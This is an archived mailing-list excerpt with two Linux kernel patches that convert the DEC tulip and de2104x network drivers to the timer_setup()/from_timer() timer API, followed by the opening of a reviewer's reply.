Original-Received: from mail-pg0-f42.google.com ([74.125.83.42]:48926 "EHLO
        mail-pg0-f42.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752592AbdJEAvY (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 4 Oct 2017 20:51:24 -0400
Original-Received: by mail-pg0-f42.google.com with SMTP id v78so5627307pgb.5
        for <linux-kernel@vger.kernel.org>; Wed, 04 Oct 2017 17:51:24 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition;
        bh=f9IHVoHoS2+hWnzpp36fImr3gA2hta/iLVNbTJq3Fys=;
        b=dcrWl3iGRo6zeDaPXAxUY00hPmn2HYe/kkVWrHVncixbkei7a9zARJ+fdQ0biyJ5r5
         rDXIEo/HayVhBmcPPJ6fUm8McEwEQEYWLP06r/JYdl1ROlLdmbHN0Lsnf6pAK4Nx5WvZ
         szrY9svVqtJVTZNN7Bo00245jADZ2l1Pg7nuk=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition;
        bh=f9IHVoHoS2+hWnzpp36fImr3gA2hta/iLVNbTJq3Fys=;
        b=PaOKum09veDsrZ+Tn/KjmUDtZa4MGBd4i0921m7TBpmPyniWGDLQWqDeAS4no5j0Fw
         LJTMbisBA8/OB02y3qoIHwIBZ+srw6u/c3VTsYutcr29NleEygWBn8YLoR+pBvigZrCS
         UBiCuLD5SRz5T1sj+NVVnJFFIE0dq9Fy8NTS4AfgHPTmx1yoJQ5jTyuFhvuodeaBmNMk
         xUdCI8oBOu20f6N3VL0jUEqsy22FiDEcLfaGCkaRtV4t8A9q/QJy0so/qrPih/logEgp
         ovSmw4rkcPCLFDx20gShAOhAjyb2LLa9VdDhs0DHX7i5sgwaYIwu1qWymrJ8rYEm7iWj
         a9Xw==
X-Gm-Message-State: AMCzsaXMVGHGS4oCswNOT90UDXekWmmsfrECgqqEFfV7+Xl8tDFyNwkt
        egL31BocStWePYXMsICiNdm/Uw==
X-Google-Smtp-Source: AOwi7QDCAEzBGar9OVUKqixghK2GiHOhYJcxwsapU2v1hkdF8It8q2E82ytx1Ymf1DBgXloEpYA9qA==
X-Received: by 10.99.119.1 with SMTP id s1mr10190071pgc.349.1507164684346;
        Wed, 04 Oct 2017 17:51:24 -0700 (PDT)
Original-Received: from www.outflux.net (173-164-112-133-Oregon.hfc.comcastbusiness.net. [173.164.112.133])
        by smtp.gmail.com with ESMTPSA id k10sm23779859pgq.92.2017.10.04.17.51.23
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 04 Oct 2017 17:51:23 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2584335 gmane.linux.network:494447 gmane.linux.ports.parisc:27897
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2584335>

In preparation for unconditionally passing the struct timer_list pointer to
all timer callbacks, switch to using the new timer_setup() and from_timer()
to pass the timer pointer explicitly.

Cc: "David S. Miller" <davem@davemloft.net>
Cc: David Howells <dhowells@redhat.com>
Cc: Jarod Wilson <jarod@redhat.com>
Cc: Stephen Hemminger <stephen@networkplumber.org>
Cc: Johannes Berg <johannes.berg@intel.com>
Cc: Eric Dumazet <edumazet@google.com>
Cc: Philippe Reynes <tremyfr@gmail.com>
Cc: "yuval.shaia@oracle.com" <yuval.shaia@oracle.com>
Cc: netdev@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
Cc: Thomas Gleixner <tglx@linutronix.de>
Signed-off-by: Kees Cook <keescook@chromium.org>
---
This requires commit 686fef928bba ("timer: Prepare to change timer
callback argument type") in v4.14-rc3, but should be otherwise
stand-alone.
---
 drivers/net/ethernet/dec/tulip/de4x5.c       | 13 ++++++-------
 drivers/net/ethernet/dec/tulip/dmfe.c        | 12 +++++-------
 drivers/net/ethernet/dec/tulip/interrupt.c   |  6 +++---
 drivers/net/ethernet/dec/tulip/pnic.c        |  6 +++---
 drivers/net/ethernet/dec/tulip/pnic2.c       |  6 +++---
 drivers/net/ethernet/dec/tulip/timer.c       | 12 ++++++------
 drivers/net/ethernet/dec/tulip/tulip.h       | 12 ++++++------
 drivers/net/ethernet/dec/tulip/tulip_core.c  | 14 ++++++--------
 drivers/net/ethernet/dec/tulip/uli526x.c     | 12 +++++-------
 drivers/net/ethernet/dec/tulip/winbond-840.c | 14 ++++++--------
 10 files changed, 49 insertions(+), 58 deletions(-)

diff --git a/drivers/net/ethernet/dec/tulip/de4x5.c b/drivers/net/ethernet/dec/tulip/de4x5.c
index 0affee9c8aa2..a31b4df3e7ff 100644
--- a/drivers/net/ethernet/dec/tulip/de4x5.c
+++ b/drivers/net/ethernet/dec/tulip/de4x5.c
@@ -912,7 +912,7 @@ static int     de4x5_init(struct net_device *dev);
 static int     de4x5_sw_reset(struct net_device *dev);
 static int     de4x5_rx(struct net_device *dev);
 static int     de4x5_tx(struct net_device *dev);
-static void    de4x5_ast(struct net_device *dev);
+static void    de4x5_ast(struct timer_list *t);
 static int     de4x5_txur(struct net_device *dev);
 static int     de4x5_rx_ovfc(struct net_device *dev);
 
@@ -1147,9 +1147,7 @@ de4x5_hw_init(struct net_device *dev, u_long iobase, struct device *gendev)
 	lp->timeout = -1;
 	lp->gendev = gendev;
 	spin_lock_init(&lp->lock);
-	init_timer(&lp->timer);
-	lp->timer.function = (void (*)(unsigned long))de4x5_ast;
-	lp->timer.data = (unsigned long)dev;
+	timer_setup(&lp->timer, de4x5_ast, 0);
 	de4x5_parse_params(dev);
 
 	/*
@@ -1742,9 +1740,10 @@ de4x5_tx(struct net_device *dev)
 }
 
 static void
-de4x5_ast(struct net_device *dev)
+de4x5_ast(struct timer_list *t)
 {
-	struct de4x5_private *lp = netdev_priv(dev);
+	struct de4x5_private *lp = from_timer(lp, t, timer);
+	struct net_device *dev = dev_get_drvdata(lp->gendev);
 	int next_tick = DE4X5_AUTOSENSE_MS;
 	int dt;
 
@@ -2370,7 +2369,7 @@ autoconf_media(struct net_device *dev)
 	lp->media = INIT;
 	lp->tcount = 0;
 
-	de4x5_ast(dev);
+	de4x5_ast(&lp->timer);
 
 	return lp->media;
 }
diff --git a/drivers/net/ethernet/dec/tulip/dmfe.c b/drivers/net/ethernet/dec/tulip/dmfe.c
index 07e10a45beaa..17ef7a28873d 100644
--- a/drivers/net/ethernet/dec/tulip/dmfe.c
+++ b/drivers/net/ethernet/dec/tulip/dmfe.c
@@ -331,7 +331,7 @@ static void dmfe_phy_write_1bit(void __iomem *, u32);
 static u16 dmfe_phy_read_1bit(void __iomem *);
 static u8 dmfe_sense_speed(struct dmfe_board_info *);
 static void dmfe_process_mode(struct dmfe_board_info *);
-static void dmfe_timer(unsigned long);
+static void dmfe_timer(struct timer_list *);
 static inline u32 cal_CRC(unsigned char *, unsigned int, u8);
 static void dmfe_rx_packet(struct net_device *, struct dmfe_board_info *);
 static void dmfe_free_tx_pkt(struct net_device *, struct dmfe_board_info *);
@@ -596,10 +596,8 @@ static int dmfe_open(struct net_device *dev)
 	netif_wake_queue(dev);
 
 	/* set and active a timer process */
-	init_timer(&db->timer);
+	timer_setup(&db->timer, dmfe_timer, 0);
 	db->timer.expires = DMFE_TIMER_WUT + HZ * 2;
-	db->timer.data = (unsigned long)dev;
-	db->timer.function = dmfe_timer;
 	add_timer(&db->timer);
 
 	return 0;
@@ -1130,10 +1128,10 @@ static const struct ethtool_ops netdev_ethtool_ops = {
  *	Dynamic media sense, allocate Rx buffer...
  */
 
-static void dmfe_timer(unsigned long data)
+static void dmfe_timer(struct timer_list *t)
 {
-	struct net_device *dev = (struct net_device *)data;
-	struct dmfe_board_info *db = netdev_priv(dev);
+	struct dmfe_board_info *db = from_timer(db, t, timer);
+	struct net_device *dev = pci_get_drvdata(db->pdev);
 	void __iomem *ioaddr = db->ioaddr;
 	u32 tmp_cr8;
 	unsigned char tmp_cr12;
diff --git a/drivers/net/ethernet/dec/tulip/interrupt.c b/drivers/net/ethernet/dec/tulip/interrupt.c
index 8df80880ecaa..c1ca0765d56d 100644
--- a/drivers/net/ethernet/dec/tulip/interrupt.c
+++ b/drivers/net/ethernet/dec/tulip/interrupt.c
@@ -102,10 +102,10 @@ int tulip_refill_rx(struct net_device *dev)
 
 #ifdef CONFIG_TULIP_NAPI
 
-void oom_timer(unsigned long data)
+void oom_timer(struct timer_list *t)
 {
-        struct net_device *dev = (struct net_device *)data;
-	struct tulip_private *tp = netdev_priv(dev);
+	struct tulip_private *tp = from_timer(tp, t, oom_timer);
+
 	napi_schedule(&tp->napi);
 }
 
diff --git a/drivers/net/ethernet/dec/tulip/pnic.c b/drivers/net/ethernet/dec/tulip/pnic.c
index 7bcccf5cac7a..3fb39e32e1b4 100644
--- a/drivers/net/ethernet/dec/tulip/pnic.c
+++ b/drivers/net/ethernet/dec/tulip/pnic.c
@@ -84,10 +84,10 @@ void pnic_lnk_change(struct net_device *dev, int csr5)
 	}
 }
 
-void pnic_timer(unsigned long data)
+void pnic_timer(struct timer_list *t)
 {
-	struct net_device *dev = (struct net_device *)data;
-	struct tulip_private *tp = netdev_priv(dev);
+	struct tulip_private *tp = from_timer(tp, t, timer);
+	struct net_device *dev = tp->dev;
 	void __iomem *ioaddr = tp->base_addr;
 	int next_tick = 60*HZ;
 
diff --git a/drivers/net/ethernet/dec/tulip/pnic2.c b/drivers/net/ethernet/dec/tulip/pnic2.c
index 5895fc43f6e0..412adaa7fdf8 100644
--- a/drivers/net/ethernet/dec/tulip/pnic2.c
+++ b/drivers/net/ethernet/dec/tulip/pnic2.c
@@ -76,10 +76,10 @@
 #include <linux/delay.h>
 
 
-void pnic2_timer(unsigned long data)
+void pnic2_timer(struct timer_list *t)
 {
-	struct net_device *dev = (struct net_device *)data;
-	struct tulip_private *tp = netdev_priv(dev);
+	struct tulip_private *tp = from_timer(tp, t, timer);
+	struct net_device *dev = tp->dev;
 	void __iomem *ioaddr = tp->base_addr;
 	int next_tick = 60*HZ;
 
diff --git a/drivers/net/ethernet/dec/tulip/timer.c b/drivers/net/ethernet/dec/tulip/timer.c
index 523d9dde50a2..642e9dfc5451 100644
--- a/drivers/net/ethernet/dec/tulip/timer.c
+++ b/drivers/net/ethernet/dec/tulip/timer.c
@@ -137,10 +137,10 @@ void tulip_media_task(struct work_struct *work)
 }
 
 
-void mxic_timer(unsigned long data)
+void mxic_timer(struct timer_list *t)
 {
-	struct net_device *dev = (struct net_device *)data;
-	struct tulip_private *tp = netdev_priv(dev);
+	struct tulip_private *tp = from_timer(tp, t, timer);
+	struct net_device *dev = tp->dev;
 	void __iomem *ioaddr = tp->base_addr;
 	int next_tick = 60*HZ;
 
@@ -154,10 +154,10 @@ void mxic_timer(unsigned long data)
 }
 
 
-void comet_timer(unsigned long data)
+void comet_timer(struct timer_list *t)
 {
-	struct net_device *dev = (struct net_device *)data;
-	struct tulip_private *tp = netdev_priv(dev);
+	struct tulip_private *tp = from_timer(tp, t, timer);
+	struct net_device *dev = tp->dev;
 	int next_tick = 2*HZ;
 
 	if (tulip_debug > 1)
diff --git a/drivers/net/ethernet/dec/tulip/tulip.h b/drivers/net/ethernet/dec/tulip/tulip.h
index 06660dbc44b7..b458140aeaef 100644
--- a/drivers/net/ethernet/dec/tulip/tulip.h
+++ b/drivers/net/ethernet/dec/tulip/tulip.h
@@ -43,7 +43,7 @@ struct tulip_chip_table {
 	int io_size;
 	int valid_intrs;	/* CSR7 interrupt enable settings */
 	int flags;
-	void (*media_timer) (unsigned long);
+	void (*media_timer) (struct timer_list *);
 	work_func_t media_task;
 };
 
@@ -476,7 +476,7 @@ void t21142_lnk_change(struct net_device *dev, int csr5);
 
 /* PNIC2.c */
 void pnic2_lnk_change(struct net_device *dev, int csr5);
-void pnic2_timer(unsigned long data);
+void pnic2_timer(struct timer_list *t);
 void pnic2_start_nway(struct net_device *dev);
 void pnic2_lnk_change(struct net_device *dev, int csr5);
 
@@ -504,19 +504,19 @@ void tulip_find_mii (struct net_device *dev, int board_idx);
 /* pnic.c */
 void pnic_do_nway(struct net_device *dev);
 void pnic_lnk_change(struct net_device *dev, int csr5);
-void pnic_timer(unsigned long data);
+void pnic_timer(struct timer_list *t);
 
 /* timer.c */
 void tulip_media_task(struct work_struct *work);
-void mxic_timer(unsigned long data);
-void comet_timer(unsigned long data);
+void mxic_timer(struct timer_list *t);
+void comet_timer(struct timer_list *t);
 
 /* tulip_core.c */
 extern int tulip_debug;
 extern const char * const medianame[];
 extern const char tulip_media_cap[];
 extern const struct tulip_chip_table tulip_tbl[];
-void oom_timer(unsigned long data);
+void oom_timer(struct timer_list *t);
 extern u8 t21040_csr13[];
 
 static inline void tulip_start_rxtx(struct tulip_private *tp)
diff --git a/drivers/net/ethernet/dec/tulip/tulip_core.c b/drivers/net/ethernet/dec/tulip/tulip_core.c
index 851b6d1f5a42..00d02a0967d0 100644
--- a/drivers/net/ethernet/dec/tulip/tulip_core.c
+++ b/drivers/net/ethernet/dec/tulip/tulip_core.c
@@ -123,10 +123,10 @@ int tulip_debug = TULIP_DEBUG;
 int tulip_debug = 1;
 #endif
 
-static void tulip_timer(unsigned long data)
+static void tulip_timer(struct timer_list *t)
 {
-	struct net_device *dev = (struct net_device *)data;
-	struct tulip_private *tp = netdev_priv(dev);
+	struct tulip_private *tp = from_timer(tp, t, timer);
+	struct net_device *dev = tp->dev;
 
 	if (netif_running(dev))
 		schedule_work(&tp->media_work);
@@ -505,7 +505,7 @@ static void tulip_up(struct net_device *dev)
 	tp->timer.expires = RUN_AT(next_tick);
 	add_timer(&tp->timer);
 #ifdef CONFIG_TULIP_NAPI
-	setup_timer(&tp->oom_timer, oom_timer, (unsigned long)dev);
+	timer_setup(&tp->oom_timer, oom_timer, 0);
 #endif
 }
 
@@ -780,8 +780,7 @@ static void tulip_down (struct net_device *dev)
 
 	spin_unlock_irqrestore (&tp->lock, flags);
 
-	setup_timer(&tp->timer, tulip_tbl[tp->chip_id].media_timer,
-		    (unsigned long)dev);
+	timer_setup(&tp->timer, tulip_tbl[tp->chip_id].media_timer, 0);
 
 	dev->if_port = tp->saved_if_port;
 
@@ -1470,8 +1469,7 @@ static int tulip_init_one(struct pci_dev *pdev, const struct pci_device_id *ent)
 	tp->csr0 = csr0;
 	spin_lock_init(&tp->lock);
 	spin_lock_init(&tp->mii_lock);
-	setup_timer(&tp->timer, tulip_tbl[tp->chip_id].media_timer,
-		    (unsigned long)dev);
+	timer_setup(&tp->timer, tulip_tbl[tp->chip_id].media_timer, 0);
 
 	INIT_WORK(&tp->media_work, tulip_tbl[tp->chip_id].media_task);
 
diff --git a/drivers/net/ethernet/dec/tulip/uli526x.c b/drivers/net/ethernet/dec/tulip/uli526x.c
index 7fc248efc4ba..488a744084c9 100644
--- a/drivers/net/ethernet/dec/tulip/uli526x.c
+++ b/drivers/net/ethernet/dec/tulip/uli526x.c
@@ -241,7 +241,7 @@ static void phy_write_1bit(struct uli526x_board_info *db, u32);
 static u16 phy_read_1bit(struct uli526x_board_info *db);
 static u8 uli526x_sense_speed(struct uli526x_board_info *);
 static void uli526x_process_mode(struct uli526x_board_info *);
-static void uli526x_timer(unsigned long);
+static void uli526x_timer(struct timer_list *t);
 static void uli526x_rx_packet(struct net_device *, struct uli526x_board_info *);
 static void uli526x_free_tx_pkt(struct net_device *, struct uli526x_board_info *);
 static void uli526x_reuse_skb(struct uli526x_board_info *, struct sk_buff *);
@@ -491,10 +491,8 @@ static int uli526x_open(struct net_device *dev)
 	netif_wake_queue(dev);
 
 	/* set and active a timer process */
-	init_timer(&db->timer);
+	timer_setup(&db->timer, uli526x_timer, 0);
 	db->timer.expires = ULI526X_TIMER_WUT + HZ * 2;
-	db->timer.data = (unsigned long)dev;
-	db->timer.function = uli526x_timer;
 	add_timer(&db->timer);
 
 	return 0;
@@ -1023,10 +1021,10 @@ static const struct ethtool_ops netdev_ethtool_ops = {
  *	Dynamic media sense, allocate Rx buffer...
  */
 
-static void uli526x_timer(unsigned long data)
+static void uli526x_timer(struct timer_list *t)
 {
-	struct net_device *dev = (struct net_device *) data;
-	struct uli526x_board_info *db = netdev_priv(dev);
+	struct uli526x_board_info *db = from_timer(db, t, timer);
+	struct net_device *dev = pci_get_drvdata(db->pdev);
 	struct uli_phy_ops *phy = &db->phy;
 	void __iomem *ioaddr = db->ioaddr;
  	unsigned long flags;
diff --git a/drivers/net/ethernet/dec/tulip/winbond-840.c b/drivers/net/ethernet/dec/tulip/winbond-840.c
index 32d7229544fa..f2e5e8fcb84a 100644
--- a/drivers/net/ethernet/dec/tulip/winbond-840.c
+++ b/drivers/net/ethernet/dec/tulip/winbond-840.c
@@ -327,7 +327,7 @@ static int  mdio_read(struct net_device *dev, int phy_id, int location);
 static void mdio_write(struct net_device *dev, int phy_id, int location, int value);
 static int  netdev_open(struct net_device *dev);
 static int  update_link(struct net_device *dev);
-static void netdev_timer(unsigned long data);
+static void netdev_timer(struct timer_list *t);
 static void init_rxtx_rings(struct net_device *dev);
 static void free_rxtx_rings(struct netdev_private *np);
 static void init_registers(struct net_device *dev);
@@ -655,10 +655,8 @@ static int netdev_open(struct net_device *dev)
 		netdev_dbg(dev, "Done netdev_open()\n");
 
 	/* Set the timer to check for link beat. */
-	init_timer(&np->timer);
-	np->timer.expires = jiffies + 1*HZ;
-	np->timer.data = (unsigned long)dev;
-	np->timer.function = netdev_timer;				/* timer handler */
+	timer_setup(&np->timer, netdev_timer, 0);
+	np->timer.expires = jiffies + 1*HZ;/* timer handler */
 	add_timer(&np->timer);
 	return 0;
 out_err:
@@ -774,10 +772,10 @@ static inline void update_csr6(struct net_device *dev, int new)
 		np->mii_if.full_duplex = 1;
 }
 
-static void netdev_timer(unsigned long data)
+static void netdev_timer(struct timer_list *t)
 {
-	struct net_device *dev = (struct net_device *)data;
-	struct netdev_private *np = netdev_priv(dev);
+	struct netdev_private *np = from_timer(np, t, timer);
+	struct net_device *dev = pci_get_drvdata(np->pci_dev);
 	void __iomem *ioaddr = np->base_addr;
 
 	if (debug > 2)
-- 
2.7.4


-- 
Kees Cook
Pixel Security


From - Thu Nov 08 21:40:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: [PATCH] net: tulip: de2104x: Convert timers to use
Date: Wed, 4 Oct 2017 17:50:48 -0700
Lines: 84
Approved: news@gmane.org
Message-ID: <20171005005048.GA23304@beast>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1507165526 21429 195.159.176.226 (5 Oct 2017 01:05:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Oct 2017 01:05:26 +0000 (UTC)
Cc: "David S. Miller" <davem@davemloft.net>,
        "yuval.shaia@oracle.com" <yuval.shaia@oracle.com>,
        Tobias Klauser <tklauser@distanz.ch>,
        Jarod Wilson <jarod@redhat.com>,
        Philippe Reynes <tremyfr@gmail.com>, netdev@vger.kernel.org,
        linux-parisc@vger.kernel.org, Thomas Gleixner <tglx@linutronix.de>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 05 03:05:19 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dzubF-0004iA-C6
	for glk-linux-kernel-3@m.gmane.org; Thu, 05 Oct 2017 03:05:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752064AbdJEBFX (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 4 Oct 2017 21:05:23 -0400
Original-Received: from mail-pf0-f174.google.com ([209.85.192.174]:53590 "EHLO
        mail-pf0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752427AbdJEAuu (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 4 Oct 2017 20:50:50 -0400
Original-Received: by mail-pf0-f174.google.com with SMTP id n73so451031pfg.10
        for <linux-kernel@vger.kernel.org>; Wed, 04 Oct 2017 17:50:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition;
        bh=GFh7OrtfRsjH+hsuMoRl9I9Rahwsci4He5uAU5kF0wg=;
        b=ct1BiZTrdwH9+rpzbWbO6OBpd46cy5x6tgjcxL7C9UFkpnTYXz1VHALmxGUIm6LOyK
         Yky+Pmi8N7wQ6CxloOWgPl3kn+NyC2zHD9mtXgfhNlut3l1GHWxAMMlc8drjYF1ODGen
         4vKAhcNZz6CDhKgY1rAY5DYWlsORipQlcTsvc=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition;
        bh=GFh7OrtfRsjH+hsuMoRl9I9Rahwsci4He5uAU5kF0wg=;
        b=goFnchYT0DCIWybSBmA/MosccH1Jd/hnWG6CFaTTQyxf/crm66JO6dZcEVnglu5ZYp
         cnyukuPZugvovinM3CHD5ffH7iY5Vx2c/ih3dANFOpnXf/JEhmZiDZs9FzIjmkoP5yb6
         HrbizJ4KG1odjmzkD54ZRsuG8B1c0vvAxMMJSt9hO955+gzJDsdv1/HVn+wl5a6EwpFR
         ts7W6wVBAePTntfTUwDO1ZWpEjYeN8R6sHjxGO88wRFaPUfcLVUwo+sLdKHlMZ0iOaP7
         h/SbUMX8dEYXka/dK33awS1jEYxoWs8iPTWRc3hjKq7nJQAwPUqqQF6FoX5vvmW86SDd
         qv5w==
X-Gm-Message-State: AMCzsaUcvty6Mxv1s7U3d4iBTqjOi99EXMftaHGHv0pOtz32K5ndsA5s
        /BbCj2fndcQrIPMUaT6IheBrcw==
X-Google-Smtp-Source: AOwi7QAn+X/14WSz6Hcbqx44/5nuj8B0mCSuoU1Rjx0kuC2p/7sIa+ran8tzEzToOQLBWcWAHGNqgA==
X-Received: by 10.159.245.141 with SMTP id a13mr16503741pls.441.1507164649859;
        Wed, 04 Oct 2017 17:50:49 -0700 (PDT)
Original-Received: from www.outflux.net (173-164-112-133-Oregon.hfc.comcastbusiness.net. [173.164.112.133])
        by smtp.gmail.com with ESMTPSA id r12sm24465416pgp.81.2017.10.04.17.50.48
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 04 Oct 2017 17:50:48 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2584380 gmane.linux.network:494467 gmane.linux.ports.parisc:27898
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2584380>

In preparation for unconditionally passing the struct timer_list pointer to
all timer callbacks, switch to using the new timer_setup() and from_timer()
to pass the timer pointer explicitly.

Cc: "David S. Miller" <davem@davemloft.net>
Cc: "yuval.shaia@oracle.com" <yuval.shaia@oracle.com>
Cc: Tobias Klauser <tklauser@distanz.ch>
Cc: Jarod Wilson <jarod@redhat.com>
Cc: Philippe Reynes <tremyfr@gmail.com>
Cc: netdev@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
Cc: Thomas Gleixner <tglx@linutronix.de>
Signed-off-by: Kees Cook <keescook@chromium.org>
---
This requires commit 686fef928bba ("timer: Prepare to change timer
callback argument type") in v4.14-rc3, but should be otherwise
stand-alone.
---
 drivers/net/ethernet/dec/tulip/de2104x.c | 21 +++++++++------------
 1 file changed, 9 insertions(+), 12 deletions(-)

diff --git a/drivers/net/ethernet/dec/tulip/de2104x.c b/drivers/net/ethernet/dec/tulip/de2104x.c
index c87b8cc42963..13430f75496c 100644
--- a/drivers/net/ethernet/dec/tulip/de2104x.c
+++ b/drivers/net/ethernet/dec/tulip/de2104x.c
@@ -333,8 +333,8 @@ static void de_set_rx_mode (struct net_device *dev);
 static void de_tx (struct de_private *de);
 static void de_clean_rings (struct de_private *de);
 static void de_media_interrupt (struct de_private *de, u32 status);
-static void de21040_media_timer (unsigned long data);
-static void de21041_media_timer (unsigned long data);
+static void de21040_media_timer (struct timer_list *t);
+static void de21041_media_timer (struct timer_list *t);
 static unsigned int de_ok_to_advertise (struct de_private *de, u32 new_media);
 
 
@@ -959,9 +959,9 @@ static void de_next_media (struct de_private *de, const u32 *media,
 	}
 }
 
-static void de21040_media_timer (unsigned long data)
+static void de21040_media_timer (struct timer_list *t)
 {
-	struct de_private *de = (struct de_private *) data;
+	struct de_private *de = from_timer(de, t, media_timer);
 	struct net_device *dev = de->dev;
 	u32 status = dr32(SIAStatus);
 	unsigned int carrier;
@@ -1040,9 +1040,9 @@ static unsigned int de_ok_to_advertise (struct de_private *de, u32 new_media)
 	return 1;
 }
 
-static void de21041_media_timer (unsigned long data)
+static void de21041_media_timer (struct timer_list *t)
 {
-	struct de_private *de = (struct de_private *) data;
+	struct de_private *de = from_timer(de, t, media_timer);
 	struct net_device *dev = de->dev;
 	u32 status = dr32(SIAStatus);
 	unsigned int carrier;
@@ -1999,12 +1999,9 @@ static int de_init_one(struct pci_dev *pdev, const struct pci_device_id *ent)
 	de->msg_enable = (debug < 0 ? DE_DEF_MSG_ENABLE : debug);
 	de->board_idx = board_idx;
 	spin_lock_init (&de->lock);
-	init_timer(&de->media_timer);
-	if (de->de21040)
-		de->media_timer.function = de21040_media_timer;
-	else
-		de->media_timer.function = de21041_media_timer;
-	de->media_timer.data = (unsigned long) de;
+	timer_setup(&de->media_timer,
+		    de->de21040 ? de21040_media_timer : de21041_media_timer,
+		    0);
 
 	netif_carrier_off(dev);
 
-- 
2.7.4


-- 
Kees Cook
Pixel Security


From - Thu Nov 08 21:40:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Tobias Klauser <tklauser@distanz.ch>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.network
Subject: Re: [PATCH] net: tulip: de2104x: Convert timers to use
Date: Thu, 5 Oct 2017 09:40:06 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20171005074006.GB1370@distanz.ch>
References: <20171005005048.GA23304@beast>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1507189210 13076 195.159.176.226 (5 Oct 2017 07:40:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Oct 2017 07:40:10 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: linux-kernel@vger.kernel.org,
        "David S. Miller" <davem@davemloft.net>,
        "yuval.shaia@oracle.com" <yuval.shaia@oracle.com>,
        Jarod Wilson <jarod@redhat.com>,
        Philippe Reynes <tremyfr@gmail.com>, netdev@vger.kernel.org,
        linux-parisc@vger.kernel.org, Thomas Gleixner <tglx@linutronix.de>
To: Kees Cook <keescook@chromium.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 05 09:40:04 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e00lH-0005lM-3J
	for glpp-linux-parisc@m.gmane.org; Thu, 05 Oct 2017 09:40:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751299AbdJEHkK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 5 Oct 2017 03:40:10 -0400
Original-Received: from sym2.noone.org ([178.63.92.236]:39924 "EHLO sym2.noone.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751296AbdJEHkK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 5 Oct 2017 03:40:10 -0400
Original-Received: by sym2.noone.org (Postfix, from userid 1002)
        id 3y74Rr2t2VzvjdS; Thu,  5 Oct 2017 09:40:08 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20171005005048.GA23304@beast>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27899 gmane.linux.kernel:2584522 gmane.linux.network:494504
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27899>

On 2017-10-05 at 02:50:48 +0200, Kees Cook <keescook@chromium.org> wrote:
> In preparation for unconditionally passing the struct timer_list pointer to
> all timer callbacks, switch to using the new timer_setup() and from_timer()
> to pass the timer pointer explicitly.
> 
